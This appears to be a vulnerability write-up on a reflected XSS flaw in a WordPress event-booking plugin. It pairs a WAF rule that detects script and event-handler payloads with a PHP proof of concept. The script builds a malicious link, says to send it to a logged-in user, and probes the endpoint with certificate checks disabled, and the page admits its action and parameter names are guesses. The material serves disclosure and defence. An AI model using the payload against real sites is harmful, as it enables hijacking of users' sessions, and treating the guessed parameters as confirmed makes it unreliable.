CVE-2026-25361: Event Booking Manager for WooCommerce <= 5.1.4 – Reflected Cross-Site Scripting (mage-eventpress)

# Atomic Edge WAF Rule - CVE-2026-25361 (metadata-based)
# This rule targets the most likely exploitation vector: the plugin's AJAX handler.
# It blocks requests to admin-ajax.php that use an action parameter starting with the plugin's slug
# AND contain common XSS payload patterns in any GET/POST parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202625361,phase:2,deny,status:403,chain,msg:'CVE-2026-25361: Reflected XSS via Event Booking Manager for WooCommerce AJAX',severity:'CRITICAL',tag:'CVE-2026-25361',tag:'WordPress',tag:'Plugin/mage-eventpress',tag:'Attack/XSS'"
  SecRule ARGS:action "@rx ^(wp_)?mage[_-]?eventpress" 
    "chain,t:none"
    SecRule ARGS "@rx (?i)<script[^>]*>|javascript:|onloads*=|onerrors*=" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25361 - Event Booking Manager for WooCommerce <= 5.1.4 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for Reflected XSS in Event Booking Manager for WooCommerce.
 * This script generates a malicious link targeting a likely vulnerable AJAX endpoint.
 * The exact vulnerable parameter name is inferred from plugin conventions.
 * User interaction (clicking the link) is required for exploitation.
 */

$target_url = 'https://vulnerable-site.example.com';

// Common WordPress AJAX handler path
$ajax_path = '/wp-admin/admin-ajax.php';

// The plugin slug is 'mage-eventpress'. WordPress AJAX actions often use this slug.
// We assume a vulnerable action hook like 'mage_eventpress_search' or 'mage_eventpress_filter'.
$assumed_action = 'mage_eventpress_filter';

// A typical reflected XSS payload that triggers an alert dialog.
// This demonstrates script execution. Real attacks would use more malicious scripts.
$xss_payload = '<script>alert(document.domain)</script>';

// Construct the malicious URL.
// The parameter 'filter_term' is a plausible guess for a filter/search parameter.
$exploit_url = $target_url . $ajax_path . '?action=' . urlencode($assumed_action) . '&filter_term=' . urlencode($xss_payload);

echo "Generated Exploit URL:n";
echo $exploit_url . "nn";
echo "Instructions: Send this URL to an authenticated WordPress user.n";
echo "If the plugin is vulnerable, the script will execute in their browser when they visit the page.n";

// Optional: Use cURL to test if the endpoint exists and reflects the parameter (without executing JS).
echo "n[Optional] Testing endpoint reflection...n";
$ch = curl_init();
$test_url = $target_url . $ajax_path . '?action=' . urlencode($assumed_action) . '&filter_term=TEST_REFLECTION';
curl_setopt($ch, CURLOPT_URL, $test_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && strpos($response, 'TEST_REFLECTION') !== false) {
    echo "Potential reflection detected. The parameter value appears in the response.n";
} else {
    echo "No clear reflection detected. The vulnerable action or parameter name may differ.n";
}
?>